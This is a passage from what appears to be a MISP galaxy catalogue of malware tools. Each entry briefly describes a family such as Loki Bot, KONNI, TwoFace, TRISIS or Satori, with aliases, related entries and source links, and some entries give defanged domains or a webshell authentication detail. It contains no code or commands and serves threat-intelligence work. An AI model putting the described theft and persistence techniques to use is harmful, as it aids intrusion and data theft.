https://www.arbornetworks.com/blog/asert/lockpos-joins-flock/

Fadok

Win.Worm.Fadok drops several files. %AppData%\RAC\mls.exe or %AppData%\RAC\svcsc.exe are instances of the malware which are auto-started when Windows starts. Further, the worm drops and opens a Word document. It connects to the domain wxanalytics[.]ru.

The tag is: *misp-galaxy:tool="Fadok"*

Fadok is also known as:

- Win32/Fadok

Table 4138. Table References

Links
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Worm%3AWin32%2FFadok.A
http://blog.talosintelligence.com/2017/06/threat-roundup-0602-0609.html

Loki Bot

Loki Bot is a commodity malware sold on underground sites which is designed to steal private data from infected machines, and then submit that info to a command and control host via HTTP POST. This private data includes stored passwords, login credential information from Web browsers, and a variety of cryptocurrency wallets.

The tag is: *misp-galaxy:tool="Loki Bot"*

Table 4139. Table References

Links
https://phishme.com/loki-bot-malware/

KONNI

Talos has discovered an unknown Remote Administration Tool that we believe has been in use for over 3 years. During this time it has managed to avoid scrutiny by the security community. The current version of the malware allows the operator to steal files, keystrokes, perform screenshots, and execute arbitrary code on the infected host. Talos has named this malware KONNI. Throughout the multiple campaigns observed over the last 3 years, the actor has used an email attachment as the initial infection vector. They then use additional social engineering to prompt the target to open a .scr file, display a decoy document to the users, and finally execute the malware on the victim’s machine. The malware infrastructure of the analysed samples was hosted by a free web hosting provider: 000webhost. The malware has evolved over time. In this article, we will analyse this evolution:

The tag is: *misp-galaxy:tool="KONNI"*

KONNI has relationships with:

- similar: misp-galaxy:rat="Konni" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Konni" with estimative-language:likelihood-probability="likely"

Table 4140. Table References

Links
http://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html
https://www.bleepingcomputer.com/news/security/report-ties-north-korean-attacks-to-new-malware-linked-by-word-macros/

NOKKI

Beginning in early 2018, Unit 42 observed a series of attacks using a previously unreported malware family, which we have named ‘NOKKI’. The malware in question has ties to a previously reported malware family named KONNI, however, after careful consideration, we believe enough differences are present to introduce a different malware family name. To reflect the close relationship with KONNI, we chose NOKKI, swapping KONNI’s Ns and Ks. Because of code overlap found within both malware families, as well as infrastructure overlap, we believe the threat actors responsible for KONNI are very likely also responsible for NOKKI. Previous reports stated it was likely KONNI had been in use for over three years in multiple campaigns with a heavy interest in the Korean peninsula and surrounding areas. As of this writing, it is not certain if the KONNI or NOKKI operators are related to known adversary groups operating in the regions of interest, although there is evidence of a tenuous relationship with a group known as Reaper.

The tag is: *misp-galaxy:tool="NOKKI"*

Table 4141. Table References

Links
https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/
https://www.bleepingcomputer.com/news/security/report-ties-north-korean-attacks-to-new-malware-linked-by-word-macros/

SpyDealer

Recently, Palo Alto Networks researchers discovered an advanced Android malware we’ve named “SpyDealer” which exfiltrates private data from more than 40 apps and steals sensitive messages from communication apps by abusing the Android accessibility service feature. SpyDealer uses exploits from a commercial rooting app to gain root privilege, which enables the subsequent data theft.

The tag is: *misp-galaxy:tool="SpyDealer"*

Table 4142. Table References

Links
https://researchcenter.paloaltonetworks.com/2017/07/unit42-spydealer-android-trojan-spying-40-apps/

CowerSnail

CowerSnail was compiled using Qt and linked with various libraries. This framework provides benefits such as cross-platform capability and transferability of the source code between different operating systems.

The tag is: *misp-galaxy:tool="CowerSnail"*

Table 4143. Table References

Links
https://securelist.com/cowersnail-from-the-creators-of-sambacry/79087/

Svpeng

In mid-July 2017, we found a new modification of the well-known mobile banking malware family Svpeng – Trojan-Banker.AndroidOS.Svpeng.ae. In this modification, the cybercriminals have added new functionality: it now also works as a keylogger, stealing entered text through the use of accessibility services.

The tag is: *misp-galaxy:tool="Svpeng"*

Svpeng is also known as:

- trojan-banker.androidos.svpeng.ae

Svpeng has relationships with:

- similar: misp-galaxy:android="Svpeng" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Svpeng" with estimative-language:likelihood-probability="likely"

Table 4144. Table References

Links
https://securelist.com/a-new-era-in-mobile-banking-trojans/79198/

TwoFace

While investigating a recent security incident, Unit 42 found a webshell that we believe was used by the threat actor to remotely access the network of a targeted Middle Eastern organization. The construction of the webshell was interesting by itself, as it was actually two separate webshells: an initial webshell that was responsible for saving and loading the second fully functional webshell. It is this second webshell that enabled the threat actor to run a variety of commands on the compromised server. Due to these two layers, we use the name TwoFace to track this webshell. During our analysis, we extracted the commands executed by the TwoFace webshell from the server logs on the compromised server. Our analysis shows that the commands issued by the threat actor date back to June 2016; this suggests that the actor had access to this shell for almost an entire year. The commands issued show the actor was interested in gathering credentials from the compromised server using the Mimikatz tool. We also saw the attacker using the TwoFace webshell to move laterally through the network by copying itself and other webshells to other servers.

The tag is: *misp-galaxy:tool="TwoFace"*

Table 4145. Table References

Links

https://researchcenter.paloaltonetworks.com/2017/07/unit42-twoface-webshell-persistent-access-point-lateral-movement/

IntrudingDivisor

Like TwoFace, the IntrudingDivisor webshell requires the threat actor to authenticate before issuing commands. To authenticate, the actor must provide two pieces of information, first an integer that is divisible by 5473 and a string whose MD5 hash is “9A26A0E7B88940DAA84FC4D5E6C61AD0”. Upon successful authentication, the webshell has a command handler that uses integers within the request to determine the command to execute - To complete

The tag is: *misp-galaxy:tool="IntrudingDivisor"*

Table 4146. Table References

Links
https://researchcenter.paloaltonetworks.com/2017/07/unit42-twoface-webshell-persistent-access-point-lateral-movement/

JS_POWMET

Attacks that use completely fileless malware are a rare occurrence, so we thought it important to discuss a new trojan known as JS_POWMET (Detected by Trend Micro as JS_POWMET.DE), which arrives via an autostart registry procedure. By utilizing a completely fileless infection chain, the malware will be more difficult to analyze using a sandbox, making it more difficult for anti-malware engineers to examine.

The tag is: *misp-galaxy:tool="JS_POWMET"*

Table 4147. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/look-js_powmet-completely-fileless-malware/

EngineBox Malware

The main malware capabilities include a privilege escalation attempt using MS16–032 exploitation; a HTTP Proxy to intercept banking transactions; a backdoor to make it possible for the attacker to issue arbitrary remote commands and a C&C through a IRC channel. As it’s being identified as a Generic Trojan by most of VirusTotal (VT) engines, let s name it EngineBox— the core malware class I saw after reverse engineering it.

The tag is: *misp-galaxy:tool="EngineBox Malware"*

Table 4148. Table References

Links

https://isc.sans.edu/diary/22736

Joao

Spread via hacked Aeria games offered on unofficial websites, the modular malware can download and install virtually any other malicious code on the victim’s computer. To spread their malware, the attackers behind Joao have misused massively-multiplayer online role-playing games (MMORPGs) originally published by Aeria Games. At the time of writing this article, the Joao downloader was being distributed via the anime-themed MMORPG Grand Fantasia offered on gf.ignitgames[.]to.

The tag is: *misp-galaxy:tool="Joao"*

Joao has relationships with:

- similar: misp-galaxy:malpedia="Joao" with estimative-language:likelihood-probability="likely"

Table 4149. Table References

Links
https://www.welivesecurity.com/2017/08/22/gamescom-2017-fun-blackhats/

Fireball

Upon execution, Fireball installs a browser hijacker as well as any number of adware programs. Several different sources have linked different indicators of compromise (IOCs) and varied payloads, but a few details remain the same.

The tag is: *misp-galaxy:tool="Fireball"*

Fireball has relationships with:

- similar: misp-galaxy:malpedia="Fireball" with estimative-language:likelihood-probability="likely"

Table 4150. Table References

Links
https://www.cylance.com/en_us/blog/threat-spotlight-is-fireball-adware-or-malware.html

ShadowPad

ShadowPad is a modular cyber-attack platform that attackers deploy in victim networks to gain flexible remote control capabilities. The platform is designed to run in two stages. The first stage is a shellcode that was embedded in a legitimate nssock2.dll used by Xshell, Xmanager and other software packages produced by NetSarang. This stage is responsible for connecting to “validation” command and control (C&C) servers and getting configuration information including the location of the real C&C server, which may be unique per victim. The second stage acts as an orchestrator for five main modules responsible for C&C communication, working with the DNS protocol, loading and injecting additional plugins into the memory of other processes.

The tag is: *misp-galaxy:tool="ShadowPad"*

ShadowPad has relationships with:

- similar: misp-galaxy:malpedia="ShadowPad" with estimative-language:likelihood-probability="likely"

Table 4151. Table References

Links
https://cdn.securelist.com/files/2017/08/ShadowPad_technical_description_PDF.pdf

IoT_reaper

IoT_reaper is fairly large now and is actively expanding. For example, there are multiple C2s we are tracking, the most recently data (October 19) from just one C2 shows the number of unique active bot IP address is more than 10k per day. While at the same time, there are millions of potential vulnerable device IPs being queued into the c2 system waiting to be processed by an automatic loader that injects malicious code to the devices to expand the size of the botnet.

The tag is: *misp-galaxy:tool="IoT_reaper"*

Table 4152. Table References

Links
http://blog.netlab.360.com/iot_reaper-a-rappid-spreading-new-iot-botnet-en/

FormBook

FormBook is a data stealer and form grabber that has been advertised in various hacking forums since early 2016.

The tag is: *misp-galaxy:tool="FormBook"*

Table 4153. Table References

Links
https://www.fireeye.com/blog/threat-research/2017/10/formbook-malware-distribution-campaigns.html
https://www.arbornetworks.com/blog/asert/formidable-formbook-form-grabber/

Dimnie

Dimnie, the commonly agreed upon name for the binary dropped by the PowerShell script above, has been around for several years. Palo Alto Networks has observed samples dating back to early 2014 with identical command and control mechanisms. The malware family serves as a downloader and has a modular design encompassing various information stealing functionalities.

Each module is injected into the memory of core Windows processes, further complicating analysis. During its lifespan, it appears to have undergone few changes and its stealthy command and control methods combined with a previously Russian focused target base has allowed it to fly under the radar up until this most recent campaign.

The tag is: *misp-galaxy:tool="Dimnie"*

Dimnie has relationships with:

- similar: misp-galaxy:malpedia="Dimnie" with estimative-language:likelihood-probability="likely"

Table 4154. Table References

Links
https://researchcenter.paloaltonetworks.com/2017/03/unit42-dimnie-hiding-plain-sight/

ALMA Communicator

The ALMA Communicator Trojan is a backdoor Trojan that uses DNS tunneling exclusively to receive commands from the adversary and to exfiltrate data. This Trojan specifically reads in a configuration from the cfg file that was initially created by the Clayslide delivery document. ALMA does not have an internal configuration, so the Trojan does not function without the cfg file created by the delivery document.

The tag is: *misp-galaxy:tool="ALMA Communicator"*

Table 4155. Table References

Links
https://researchcenter.paloaltonetworks.com/2017/11/unit42-oilrig-deploys-alma-communicator-dns-tunneling-trojan/

Silence

In September 2017, we discovered a new targeted attack on financial institutions. Victims are mostly Russian banks but we also found infected organizations in Malaysia and Armenia. The attackers were using a known but still very effective technique for cybercriminals looking to make money: gaining persistent access to an internal banking network for a long period of time, making video recordings of the day to day activity on bank employees’ PCs, learning how things works in their target banks, what software is being used, and then using that knowledge to steal as much money as possible when ready. We saw that technique before in Carbanak, and other similar cases worldwide. The infection vector is a spear-phishing email with a malicious attachment. An interesting point in the Silence attack is that the cybercriminals had already compromised banking infrastructure in order to send their spear-phishing emails from the addresses of real bank employees and look as unsuspicious as possible to future victims.

The tag is: *misp-galaxy:tool="Silence"*

Silence has relationships with:

- similar: misp-galaxy:malpedia="Silence" with estimative-language:likelihood-probability="likely"

Table 4156. Table References

Links
https://securelist.com/the-silence/83009/

Volgmer

Volgmer is a backdoor Trojan designed to provide covert access to a compromised system. Since at least 2013, HIDDEN COBRA actors have been observed using Volgmer malware in the wild to target the government, financial, automotive, and media industries. It is suspected that spear phishing is the primary delivery mechanism for Volgmer infections; however, HIDDEN COBRA actors use a suite of custom tools, some of which could also be used to initially compromise a system. Therefore, it is possible that additional HIDDEN COBRA malware may be present on network infrastructure compromised with Volgmer

The tag is: *misp-galaxy:tool="Volgmer"*

Volgmer has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="Volgmer - S0180" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:rat="FALLCHILL" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-enterprise-attack-malware="FALLCHILL - S0181" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Volgmer" with estimative-language:likelihood-probability="likely"

Table 4157. Table References

Links
https://www.us-cert.gov/ncas/alerts/TA17-318B

Nymaim

Nymaim is a 2-year-old strain of malware most closely associated with ransomware. We have seen recent attacks spreading it using an established email marketing service provider to avoid blacklists and detection tools. But instead of ransomware, the malware is now being used to distribute banking Trojans

The tag is: *misp-galaxy:tool="Nymaim"*

Nymaim has relationships with:

- similar: misp-galaxy:malpedia="Nymaim" with estimative-language:likelihood-probability="likely"

Table 4158. Table References

Links
https://www.proofpoint.com/us/what-old-new-again-nymaim-moves-past-its-ransomware-roots-0

GootKit

As was the case earlier, the bot Gootkit is written in NodeJS, and is downloaded to a victim computer via a chain of downloaders. The main purpose of the bot also remained the same – to steal banking data. The new Gootkit version, detected in September, primarily targets clients of European banks, including those in Germany, France, Italy, the Netherlands, Poland, etc.

The tag is: *misp-galaxy:tool="GootKit"*

GootKit is also known as:

- Gootkit

GootKit has relationships with:

- similar: misp-galaxy:malpedia="GootKit" with estimative-language:likelihood-probability="likely"

Table 4159. Table References

Links
https://securelist.com/inside-the-gootkit-cc-server/76433/
https://securityintelligence.com/gootkit-bobbing-and-weaving-to-avoid-prying-eyes/
https://securityintelligence.com/gootkit-launches-redirection-attacks-in-the-uk/
https://www.symantec.com/security_response/writeup.jsp?docid=2010-051118-0604-99

Agent Tesla

Agent Tesla is modern powerful keystroke logger. It provides monitoring your personel computer via keyboard and screenshot. Keyboard, screenshot and registered passwords are sent in log. You can receive your logs via e-mail, ftp or php(web panel).

The tag is: *misp-galaxy:tool="Agent Tesla"*

Agent Tesla has relationships with:

- similar: misp-galaxy:malpedia="Agent Tesla" with estimative-language:likelihood-probability="likely"

Table 4160. Table References

Links

https://www.agenttesla.com/
https://www.bleepingcomputer.com/news/security/zoho-heavily-used-by-keyloggers-to-transmit-stolen-data/

Ordinypt

A new ransomware strain called Ordinypt is currently targeting victims in Germany, but instead of encrypting users' documents, the ransomware rewrites files with random data. Ordinypt is actually a wiper and not ransomware because it does not bother encrypting anything, but just replaces files with random data.

The tag is: *misp-galaxy:tool="Ordinypt"*

Ordinypt is also known as:

- HSDFSDCrypt

Ordinypt has relationships with:

- similar: misp-galaxy:malpedia="Ordinypt" with estimative-language:likelihood-probability="likely"

Table 4161. Table References

Links
https://www.bleepingcomputer.com/news/security/ordinypt-ransomware-intentionally-destroys-files-currently-targeting-germany/

StrongPity2

Detected by ESET as Win32/StrongPity2, this spyware notably resembles one that was attributed to the group called StrongPity.

The tag is: *misp-galaxy:tool="StrongPity2"*

StrongPity2 is also known as:

- Win32/StrongPity2

Table 4162. Table References

Links
https://www.welivesecurity.com/2017/12/08/strongpity-like-spyware-replaces-finfisher/

wp-vcd

WordPress site owners should be on the lookout for a malware strain tracked as wp-vcd that hides in legitimate WordPress files and that is used to add a secret admin user and grant attackers control over infected sites. The malware was first spotted online over the summer by Italian security researcher Manuel D'Orso. The initial version of this threat was loaded via an include call for the wp-vcd.php file —hence the malware's name— and injected malicious code into WordPress core files such as functions.php and class.wp.php. This was not a massive campaign, but attacks continued throughout the recent months.

The tag is: *misp-galaxy:tool="wp-vcd"*

Table 4163. Table References

Links
https://www.bleepingcomputer.com/news/security/wp-vcd-wordpress-malware-campaign-is-back/
https://www.bleepingcomputer.com/news/security/wp-vcd-wordpress-malware-spreads-via-nulled-wordpress-themes/

MoneyTaker 5.0

malicious program for auto replacement of payment data in AWS CBR

The tag is: *misp-galaxy:tool="MoneyTaker 5.0"*

Table 4164. Table References

Links
https://www.group-ib.com/blog/moneytaker

Quant Loader

Described as a "professional exe loader / dll dropper" Quant Loader is in fact a very basic trojan downloader. It began being advertised on September 1, 2016 on various Russian underground forums.

The tag is: *misp-galaxy:tool="Quant Loader"*

Quant Loader has relationships with:

- similar: misp-galaxy:malpedia="Quant Loader" with estimative-language:likelihood-probability="likely"

Table 4165. Table References

Links
https://www.bleepingcomputer.com/news/security/quant-loader-is-now-bundled-with-other-crappy-malware/
https://blogs.forcepoint.com/security-labs/locky-distributor-uses-newly-released-quant-loader-sold-russian-underground
https://www.bleepingcomputer.com/news/security/worlds-largest-spam-botnet-finds-a-new-way-to-avoid-detection-for-now/

SSHDoor

The Secure Shell Protocol (SSH) is a very popular protocol used for secure data communication. It is widely used in the Unix world to manage remote servers, transfer files, etc. The modified SSH daemon described here, Linux/SSHDoor.A, is designed to steal usernames and passwords and allows remote access to the server via either an hardcoded password or SSH key.

The tag is: *misp-galaxy:tool="SSHDoor"*

SSHDoor has relationships with:

- similar: misp-galaxy:malpedia="SSHDoor" with estimative-language:likelihood-probability="likely"

Table 4166. Table References

Links
https://www.welivesecurity.com/2013/01/24/linux-sshdoor-a-backdoored-ssh-daemon-that-steals-passwords/

TRISIS

(Dragos Inc.) The team identifies this malware as TRISIS because it targets Schneider Electric's Triconex safety instrumented system (SIS) enabling the replacement of logic in final control elements. TRISIS is highly targeted and likely does not pose an immediate threat to other Schneider Electric customers, let alone other SIS products. (FireEye Inc.) This malware, which we call TRITON, is an attack framework built to interact with Triconex Safety Instrumented System (SIS) controllers. We have not attributed the incident to a threat actor, though we believe the activity is consistent with a nation state preparing for an attack. TRITON is one of a limited number of publicly identified malicious software families targeted at industrial control systems (ICS). It follows Stuxnet which was used against Iran in 2010 and Industroyer which we believe was deployed by Sandworm Team against Ukraine in 2016.

The tag is: *misp-galaxy:tool="TRISIS"*

TRISIS is also known as:

- TRITON

Table 4167. Table References

Links
https://www.fireeye.com/blog/threat-research/2017/12/attackers-deploy-new-ics-attack-framework-triton.html
https://dragos.com/blog/trisis/TRISIS-01.pdf

OSX.Pirrit

macOS adware strain

The tag is: *misp-galaxy:tool="OSX.Pirrit"*

OSX.Pirrit is also known as:

- OSX/Pirrit

Table 4168. Table References

Links
http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf
https://www2.cybereason.com/research-osx-pirrit-mac-adware
https://www.cybereason.com/hubfs/Content%20PDFs/OSX.Pirrit%20Part%20III%20The%20DaVinci%20Code.pdf

GratefulPOS

GratefulPOS has the following functions 1. Access arbitrary processes on the target POS system 2. Scrape track 1 and 2 payment card data from the process(es) 3. Exfiltrate the payment card data via lengthy encoded and obfuscated DNS queries to a hardcoded domain registered and controlled by the perpetrators, similar to that described by Paul Rascagneres in his analysis of FrameworkPOS in 2014[iii], and more recently by Luis Mendieta of Anomoli in analysis of a precursor to this sample.

The tag is: *misp-galaxy:tool="GratefulPOS"*

GratefulPOS has relationships with:

- similar: misp-galaxy:banker="GratefulPOS" with estimative-language:likelihood-probability="likely"

Table 4169. Table References

Links
https://community.rsa.com/community/products/netwitness/blog/2017/12/08/gratefulpos-credit-card-stealing-malware-just-in-time-for-the-shopping-season

PRILEX

Prilex malware steals the information of the infected ATM’s users. In this case, it was a Brazilian bank, but consider the implications of such an attack in your region, whether you’re a customer or the bank.

The tag is: *misp-galaxy:tool="PRILEX"*

Table 4170. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/dissecting-prilex-cutlet-maker-atm-malware-families/

CUTLET MAKER

Cutlet Maker is an ATM malware designed to empty the machine of all its banknotes. Interestingly, while its authors have been advertising its sale, their competitors have already cracked the program, allowing anybody to use it for free.

The tag is: *misp-galaxy:tool="CUTLET MAKER"*

Table 4171. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/dissecting-prilex-cutlet-maker-atm-malware-families/

Satori

According to a report Li shared with Bleeping Computer today, the Mirai Satori variant is quite different from all previous pure Mirai variants.Previous Mirai versions infected IoT devices and then downloaded a Telnet scanner component that attempted to find other victims and infect them with the Mirai bot.The Satori variant does not use a scanner but uses two embedded exploits that will try to connect to remote devices on ports 37215 and 52869.Effectively, this makes Satori an IoT worm, being able to spread by itself without the need for separate components.

The tag is: *misp-galaxy:tool="Satori"*

Satori is also known as:

- Okiru

Satori has relationships with:

- similar: misp-galaxy:botnet="Satori" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Satori" with estimative-language:likelihood-probability="likely"

Table 4172. Table References

Links
https://www.bleepingcomputer.com/news/security/satori-botnet-has-sudden-awakening-with-over-280-000-active-bots/
https://blog.fortinet.com/2017/12/12/rise-of-one-more-mirai-worm-variant

PowerSpritz

PowerSpritz is a Windows executable that hides both its legitimate payload and malicious PowerShell command using a non-standard implementation of the already rarely used Spritz encryption algorithm (see the Attribution section for additional analysis of the Spritz implementation). This malicious downloader has been observed being delivered via spearphishing attacks using the TinyCC link shortener service to redirect to likely attacker-controlled servers hosting the malicious PowerSpritz payload.

The tag is: *misp-galaxy:tool="PowerSpritz"*

Table 4173. Table References

Links
https://www.proofpoint.com/sites/default/files/pfpt-us-wp-north-korea-bitten-by-bitcoin-bug.pdf

PowerRatankba

PowerRatankba is used for the same purpose as Ratankba: as a first stage reconnaissance tool and for the deployment of further stage implants on targets that are deemed interesting by the actor. Similar to its predecessor, PowerRatankba utilizes HTTP for its C&C communication.

The tag is: *misp-galaxy:tool="PowerRatankba"*

PowerRatankba has relationships with:

- similar: misp-galaxy:malpedia="PowerRatankba" with estimative-language:likelihood-probability="likely"

Table 4174. Table References

Links
https://www.proofpoint.com/sites/default/files/pfpt-us-wp-north-korea-bitten-by-bitcoin-bug.pdf

Ratankba

In one instance we observed, one of the initial malware delivered to the victim, RATANKBA, connects to a legitimate but compromised website from which a hack tool (nbt_scan.exe) is also downloaded. The domain also serves as one of the campaign’s platform for C&C communication. The threat actor uses RATANKBA to survey the lay of the land as it looks into various aspects of the host machine where it has been initially downloaded—the machine that has been victim of the watering hole attack. Information such as the running tasks, domain, shares, user information, if the host has default internet connectivity, and so forth.

The tag is: *misp-galaxy:tool="Ratankba"*

Table 4175. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/ratankba-watering-holes-against-enterprises/

USBStealer

USBStealer serves as a network tool that extracts sensitive information from air-gapped networks. We have not seen this component since mid 2015.

The tag is: *misp-galaxy:tool="USBStealer"*

USBStealer has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="USBStealer - S0136" with estimative-language:likelihood-probability="likely"

Table 4176. Table References

Links
https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/

Downdelph

Downdelph is a lightweight downloader developed in the Delphi programming language. As we already mentioned in our white paper, its period of activity was from November 2013 to September 2015 and there have been no new variants seen since.

The tag is: *misp-galaxy:tool="Downdelph"*

Downdelph has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="Downdelph - S0134" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Downdelph" with estimative-language:likelihood-probability="likely"

Table 4177. Table References

Links
https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/

CoinMiner

Monero-mining malware

The tag is: *misp-galaxy:tool="CoinMiner"*

CoinMiner has relationships with:

- similar: misp-galaxy:malpedia="Monero Miner" with estimative-language:likelihood-probability="likely"

Table 4178. Table References

Links
https://www.welivesecurity.com/2017/09/28/monero-money-mining-malware/

FruitFly

A fully-featured backdoor, designed to perversely spy on Mac users

The tag is: *misp-galaxy:tool="FruitFly"*

FruitFly has relationships with:

- similar: misp-galaxy:malpedia="FruitFly" with estimative-language:likelihood-probability="likely"

Table 4179. Table References

Links
https://objective-see.com/blog/blog_0x25.html#FruitFly

MacDownloader

Iranian macOS exfiltration agent, targeting the 'defense industrial base' and human rights advocates.

The tag is: *misp-galaxy:tool="MacDownloader"*

MacDownloader is also known as:

- iKitten

MacDownloader has relationships with:

- similar: misp-galaxy:malpedia="MacDownloader" with estimative-language:likelihood-probability="likely"

Table 4180. Table References

Links
https://objective-see.com/blog/blog_0x25.html#MacDownloader

Empyre

The open-source macOS backdoor, 'Empye', maliciously packaged into a macro’d Word document

The tag is: *misp-galaxy:tool="Empyre"*

Empyre is also known as:

- Empye

Table 4181. Table References

Links
https://objective-see.com/blog/blog_0x25.html#Empyre

Proton

A fully-featured macOS backdoor, designed to collect and exfiltrate sensitive user data such as 1Password files, browser login data, and keychains.

The tag is: *misp-galaxy:tool="Proton"*

Table 4182. Table References

Links
https://objective-see.com/blog/blog_0x25.html#Proton

Mughthesec

Adware which hijacks a macOS user’s homepage to redirect search queries.

The tag is: *misp-galaxy:tool="Mughthesec"*

Mughthesec has relationships with:

- similar: misp-galaxy:malpedia="Mughthesec" with estimative-language:likelihood-probability="likely"

Table 4183. Table References

Links
https://objective-see.com/blog/blog_0x25.html

Pwnet

A macOS crypto-currency miner, distributed via a trojaned 'CS-GO' hack.

The tag is: *misp-galaxy:tool="Pwnet"*

Pwnet has relationships with:

- similar: misp-galaxy:malpedia="Pwnet" with estimative-language:likelihood-probability="likely"

Table 4184. Table References

Links
https://objective-see.com/blog/blog_0x25.html

CpuMeaner

A macOS crypto-currency mining trojan.

The tag is: *misp-galaxy:tool="CpuMeaner"*

CpuMeaner has relationships with:

- similar: misp-galaxy:malpedia="CpuMeaner" with estimative-language:likelihood-probability="likely"

Table 4185. Table References

Links
https://objective-see.com/blog/blog_0x25.html

Travle

The Travle sample found during our investigation was a DLL with a single exported function (MSOProtect). The malware name Travle was chosen given a string found in early samples of this family: “Travle Path Failed!”. This typo was replaced with correct word “Travel” in newer releases. We believe that Travle could be a successor to the NetTraveler family.

The tag is: *misp-galaxy:tool="Travle"*

Travle is also known as:

- PYLOT

Table 4186. Table References

Links
https://securelist.com/travle-aka-pylot-backdoor-hits-russian-speaking-targets/83455/

Digmine

Digmine is coded in AutoIt, and sent to would-be victims posing as a video file but is actually an AutoIt executable script. If the user’s Facebook account is set to log in automatically, Digmine will manipulate Facebook Messenger in order to send a link to the file to the account’s friends. The abuse of Facebook is limited to propagation for now, but it wouldn’t be implausible for attackers to hijack the Facebook account itself down the line. This functionality’s code is pushed from the command-and-control (C&C) server, which means it can be updated.

The tag is: *misp-galaxy:tool="Digmine"*

Table 4187. Table References

Links
https://blog.trendmicro.com/trendlabs-security-intelligence/digmine-cryptocurrency-miner-spreading-via-facebook-messenger/

TSCookie

TSCookie itself only serves as a downloader. It expands functionality by downloading modules from C&C servers. The sample that was examined downloaded a DLL file which has exfiltrating function among many others (hereafter “TSCookieRAT”). Downloaded modules only runs on memory.

The tag is: *misp-galaxy:tool="TSCookie"*

TSCookie has relationships with:

- similar: misp-galaxy:malpedia="PLEAD" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="PLEAD" with estimative-language:likelihood-probability="likely"

Table 4188. Table References

Links
http://blog.jpcert.or.jp/.s/2018/03/malware-tscooki-7aa0.html

Exforel

Exforel backdoor malware, VirTool:WinNT/Exforel.A, backdoor implemented at the Network Driver Interface Specification (NDIS) level.

The tag is: *misp-galaxy:tool="Exforel"*

Table 4189. Table References

Links
http://news.softpedia.com/news/Exforel-Backdoor-Implemented-at-NDIS-Level-to-Be-More-Stealthy-Experts-Say-313567.shtml

Rotinom

W32.Rotinom is a worm that spreads by copying itself to removable drives.

The tag is: *misp-galaxy:tool="Rotinom"*

Table 4190. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-011117-0057-99

Aurora

You probably have heard the recent news about a widespread attack that was carried out using a 0-Day exploit for Internet Explorer as one of the vectors. This exploit is also known as the "Aurora Exploit". The code has recently gone public and it was also added to the Metasploit framework. This exploit was used to deliver a malicious payload, known by the name of Trojan.Hydraq, the main purpose of which was to steal information from the compromised computer and report it back to the attackers. The exploit code makes use of known techniques to exploit a vulnerability that exists in the way Internet Explorer handles a deleted object. The final purpose of the exploit itself is to access an object that was previously deleted, causing the code to reference a memory location over which the attacker has control and in which the attacker dropped his malicious code.

The tag is: *misp-galaxy:tool="Aurora"*

Aurora is also known as:

- Hydraq

Aurora has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="Hydraq - S0203" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="9002 RAT" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Aurora" with estimative-language:likelihood-probability="likely"

Table 4191. Table References

Links
https://www.symantec.com/connect/blogs/trojanhydraq-incident-analysis-aurora-0-day-exploit
https://www.symantec.com/connect/blogs/hydraq-aurora-attackers-back
https://www.symantec.com/connect/blogs/hydraq-attack-mythical-proportions

Cheshire Cat

Oldest Cheshire Cat malware compiled in 2002. It’s a very old family of malware. The time stamps may be forged but the malware does have support for very old operating systems. The 2002 implant retrieves a handle for an asr2892 drives that they never got their hands on. It checks for a NE header which is a header type used before PE headers even existed. References to 16bit or DOS on a non 9x platform. This malware implant IS REALLY for old systems. The malware is for espionage - it’s very carefully made to stay hidden. Newer versions install as icon handler shell extension for .lnk files. Shell in this case means the program manager because windows explorer was not yet a thing. It sets up COM server objects. It looks like it was written in pure C, but made to look like C++. A sensitive implant as well: it checks for all kinds of old MS platforms including Windows NT, win95, win98, winME and more. It checks the patch level as well. A lot of effort was put into adapting this malware to a lot of different operating systems with very granular decision chains.

The tag is: *misp-galaxy:tool="Cheshire Cat"*

Table 4192. Table References

Links
https://www.youtube.com/watch?v=u2Ry9HTBbZI
https://malware-research.org/prepare-father-of-stuxnet-news-are-coming/
https://www.peerlyst.com/posts/hack-lu-2016-recap-interesting-malware-no-i-m-not-kidding-by-marion-marschalek-claus-cramon

Downloader-FGO

Downloader-FGO is a trojan that comes hidden in malicious programs. Once you install the source (carrier) program, this trojan attempts to gain "root" access (administrator level access) to your computer without your knowledge

The tag is: *misp-galaxy:tool="Downloader-FGO"*

Downloader-FGO is also known as:

- Win32:Malware-gen
- Generic30.ASYL (Trojan horse)
- TR/Agent.84480.85
- Trojan.Generic.8627031
- Trojan:Win32/Sisproc
- SB/Malware
- Trj/CI.A
- Mal/Behav-112
- Trojan.Spuler
- TROJ_KAZY.SM1
- Win32/FakePPT_i

Table 4193. Table References

Links
https://www.solvusoft.com/en/malware/trojans/downloader-fgo/

miniFlame

Newly discovered spying malware designed to steal data from infected systems was likely built from the same cyber-weaponry factory that produced two other notorious cyberespionage software Flame and Gauss, a security vendor says. Kaspersky Lab released a technical paper Monday outlining the discovery of the malware the vendor has dubbed "miniFlame." While capable of working with Flame and Gauss, miniFlame is a "small, fully functional espionage module designed for data theft and direct access to infected systems," Kaspersky said.

